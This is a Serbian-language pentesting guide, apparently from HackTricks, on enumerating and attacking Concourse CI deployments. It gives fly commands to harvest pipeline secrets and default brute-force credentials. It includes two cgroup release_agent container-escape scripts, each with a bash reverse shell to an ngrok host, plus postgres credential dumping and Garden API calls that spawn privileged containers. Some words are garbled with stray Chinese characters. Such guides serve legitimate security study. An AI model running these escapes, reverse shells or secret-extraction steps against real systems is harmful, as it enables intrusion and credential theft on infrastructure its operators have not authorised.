# Concourse Enumeration & Attacks

## Concourse Enumeration & Attacks

{{#include ../../banners/hacktricks-training.md}}

### User Roles & Permissions

Concourse dolazi sa pet uloga:

- _Concourse_ **Admin**: Ova uloga se dodeljuje samo vlasnicima **glavnog tima** (podrazumevani inicijalni concourse tim). Admini mogu **konfigurisati druge timove** (npr.: `fly set-team`, `fly destroy-team`...). Dozvole ove uloge ne mogu biti pogođene RBAC-om.
- **owner**: Vlasnici tima mogu **modifikovati sve unutar tima**.
- **member**: Članovi tima mogu **čitati i pisati** unutar **sredstava tima** ali ne mogu modifikovati postavke tima.
- **pipeline-operator**: Operatori pipeline-a mogu izvoditi **operacije pipeline-a** kao što su pokretanje build-ova i pinovanje resursa, međutim ne mogu ažurirati konfiguracije pipeline-a.
- **viewer**: Gledaoci tima imaju **"samo za čitanje"** pristup timu i njegovim pipeline-ima.

> [!NOTE]
> Pored toga, **dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane** konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)

Napomena da Concourse **grupiše pipeline-e unutar timova**. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i **several Teams** može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih.

### Vars & Credential Manager

U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu `((_source-name_:_secret-path_._secret-field_))`.\
[Iz dokumenata:](https://concourse-ci.org/vars.html#var-syntax) **source-name je opcionalan**, i ako se izostavi, koristiće se [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), ili se vrednost može pružiti [statički](https://concourse-ci.org/vars.html#static-vars).\
**Opcionalni \_secret-field**\_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može izabrati da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.\
Pored toga, _**secret-path**_ i _**secret-field**_ mogu biti okruženi dvostrukim navodnicima `"..."` ako **sadrže posebne karaktere** kao što su `.` i `:`. Na primer, `((source:"my.secret"."field:1"))` će postaviti _secret-path_ na `my.secret` i _secret-field_ na `field:1`.

#### Static Vars

Statičke varijable mogu biti specificirane u **koracima zadataka**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Ili koristeći sledeće `fly` **argumente**:

- `-v` ili `--var` `NAME=VALUE` postavlja string `VALUE` kao vrednost za var `NAME`.
- `-y` ili `--yaml-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za var `NAME`.
- `-i` ili `--instance-var` `NAME=VALUE` parsira `VALUE` kao YAML i postavlja ga kao vrednost za instancu var `NAME`. Pogledajte [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) da biste saznali više o instancama var.
- `-l` ili `--load-vars-from` `FILE` učitava `FILE`, YAML dokument koji sadrži mapiranje imena var na vrednosti, i postavlja ih sve.

#### Upravljanje akreditivima

Postoje različiti načini na koje se **Upravljač akreditivima može specificirati** u pipeline-u, pročitajte kako u [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Pored toga, Concourse podržava različite upravljače akreditivima:

- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)

> [!CAUTION]
> Imajte na umu da ako imate neku vrstu **pristupa za pisanje Concourse-u** možete kreirati poslove za **ekstrakciju tih tajni** jer Concourse mora imati mogućnost pristupa njima.

### Concourse Enumeracija

Da biste enumerisali Concourse okruženje, prvo morate **prikupiti važeće akreditive** ili pronaći **autentifikovani token**, verovatno u `.flyrc` konfiguracionom fajlu.

#### Prijava i trenutni korisnik enum

- Da biste se prijavili, morate znati **endpoint**, **ime tima** (podrazumevano je `main`) i **tim kojem korisnik pripada**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Dobijte konfigurisane **ciljeve**:
- `fly targets`
- Proverite da li je konfigurisana **veza sa ciljem** još uvek **važeća**:
- `fly -t <target> status`
- Dobijte **ulogu** korisnika u odnosu na navedeni cilj:
- `fly -t <target> userinfo`

> [!NOTE]
> Imajte na umu da je **API token** **sačuvan** u `$HOME/.flyrc` podrazumevano, dok pretražujete mašine mogli biste pronaći akreditive tamo.

#### Timovi i korisnici

- Dobijte listu timova
- `fly -t <target> teams`
- Dobijte uloge unutar tima
- `fly -t <target> get-team -n <team-name>`
- Dobijte listu korisnika
- `fly -t <target> active-users`

#### Pipeline-i

- **Lista** pipeline-a:
- `fly -t <target> pipelines -a`
- **Dobijte** pipeline yaml (**osetljive informacije** mogu se naći u definiciji):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Dobijte sve **konfigurisane var** pipeline-a
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Dobijte sve **nazive tajni pipeline-a** koje se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Kontejneri i Radnici

- Lista **radnika**:
- `fly -t <target> workers`
- Lista **kontejnera**:
- `fly -t <target> containers`
- Lista **buildova** (da vidite šta se izvršava):
- `fly -t <target> builds`

### Concourse Napadi

#### Brute-Force Akreditivi

- admin:admin
- test:test

#### Enumeracija Tajni i Parametara

U prethodnom odeljku smo videli kako možete **dobiti sve nazive i varijable tajni** koje koristi pipeline. **Varijable mogu sadržati osetljive informacije** i naziv **tajni će biti koristan kasnije za pokušaj krađe**.

#### Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera

Ako imate dovoljno privilegija (**member role ili više**) moći ćete da **lista pipeline-ove i uloge** i jednostavno dobijete **sesiju unutar** `<pipeline>/<job>` **kontejnera** koristeći:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Sa ovim dozvolama možda ćete moći da:

- **Uk盗ite tajne** unutar **kontejnera**
- Pokušate da **pobegnete** na čvor
- Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i sa čvora, ako je moguće)

#### Kreiranje/Modifikacija Pipeline-a

Ako imate dovoljno privilegija (**član ulogu ili više**) moći ćete da **kreirate/modifikujete nove pipeline-e.** Pogledajte ovaj primer:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Sa **modifikacijom/kreiranjem** novog pipeline-a moći ćete da:

- **Uk盗** **tajne** (putem njihovog ispisivanja ili ulaskom u kontejner i pokretanjem `env`)
- **Pobegnete** na **čvor** (dajući vam dovoljno privilegija - `privileged: true`)
- Enumerišete/Iskoristite **cloud metadata** endpoint (iz poda i iz čvora)
- **Obrišete** kreirani pipeline

#### Izvršite Prilagođeni Zadatak

Ovo je slično prethodnoj metodi, ali umesto modifikovanja/kreiranja celog novog pipeline-a, možete **samo izvršiti prilagođeni zadatak** (što će verovatno biti mnogo **diskretnije**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```

```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Bekstvo na čvor iz privilegovane zadatke

U prethodnim sekcijama smo videli kako da **izvršimo privilegovanu zadatak sa concourse**. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datotečnog sistema čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije".

U sledećem PoC-u ćemo koristiti release_agent za bekstvo sa nekim malim izmenama:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
> [!WARNING]
> Kao što ste možda primetili, ovo je samo [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) samo modifikovanjem putanje cmd-a u čvoru

#### Bekstvo do čvora iz Worker kontejnera

Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
#### Bekstvo na čvor iz Web kontejnera

Čak i ako web kontejner ima neke odbrane onemogućene, **ne radi kao uobičajen privilegovan kontejner** (na primer, **ne možete** **montirati** i **kapaciteti** su veoma **ograničeni**, tako da su svi laki načini za bekstvo iz kontejnera beskorisni).

Međutim, čuva **lokalne akreditive u čistom tekstu**:
```bash
cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Možete koristiti te akreditive da **se prijavite na veb server** i **napravite privilegovanu kontejner i pobegnete na čvor**.

U okruženju takođe možete pronaći informacije za **pristup postgresql** instanci koju koristi concourse (adresa, **korisničko ime**, **lozinka** i baza podataka među ostalim informacijama):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Zloupotreba Garden Service - Nije pravi napad

> [!WARNING]
> Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije

Po defaultu, svaki concourse radnik će pokretati [**Garden**](https://github.com/cloudfoundry/garden) servis na portu 7777. Ovaj servis koristi Web master da označi radniku **šta treba da izvrši** (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita:

- On je samo **izložen lokalno** (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može **da komunicira sa svakim Garden servisom** unutar svakog radnika.
- Web server **prati pokretne kontejnere svake nekoliko sekundi**, i **neočekivani** kontejneri se **brišu**. Dakle, ako želite da **pokrenete prilagođeni kontejner**, morate da **manipulišete** sa **komunikacijom** između web servera i garden servisa.

Concourse radnici rade sa visokim privilegijama kontejnera:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
Međutim, tehnike poput **montiranja** /dev uređaja čvora ili release_agent **neće raditi** (jer pravi uređaj sa datotečnim sistemom čvora nije dostupan, samo virtuelni). Ne možemo pristupiti procesima čvora, pa je bekstvo iz čvora bez kernel exploit-a komplikovano.

> [!NOTE]
> U prethodnom odeljku smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo **izvršiti** komande u **privilegovanom kontejneru** koji je kreirao **trenutni** **radnik**, mogli bismo **pobegnuti na čvor**.

Napomena: igrajući se sa concourse-om, primetio sam da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji kreira novi kontejner unutar sebe.

**Ulazak u pokrenuti privilegovani kontejner**
```bash
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Kreiranje novog privilegovanog kontejnera**

Možete vrlo lako kreirati novi kontejner (samo pokrenite nasumični UID) i izvršiti nešto na njemu:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Međutim, veb server proverava svake nekoliko sekundi kontejnere koji se izvršavaju, i ako se otkrije neočekivani, biće obrisan. Pošto se komunikacija odvija u HTTP-u, mogli biste da manipulišete komunikacijom kako biste izbegli brisanje neočekivanih kontejnera:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Reference

- https://concourse-ci.org/vars.html

{{#include ../../banners/hacktricks-training.md}}
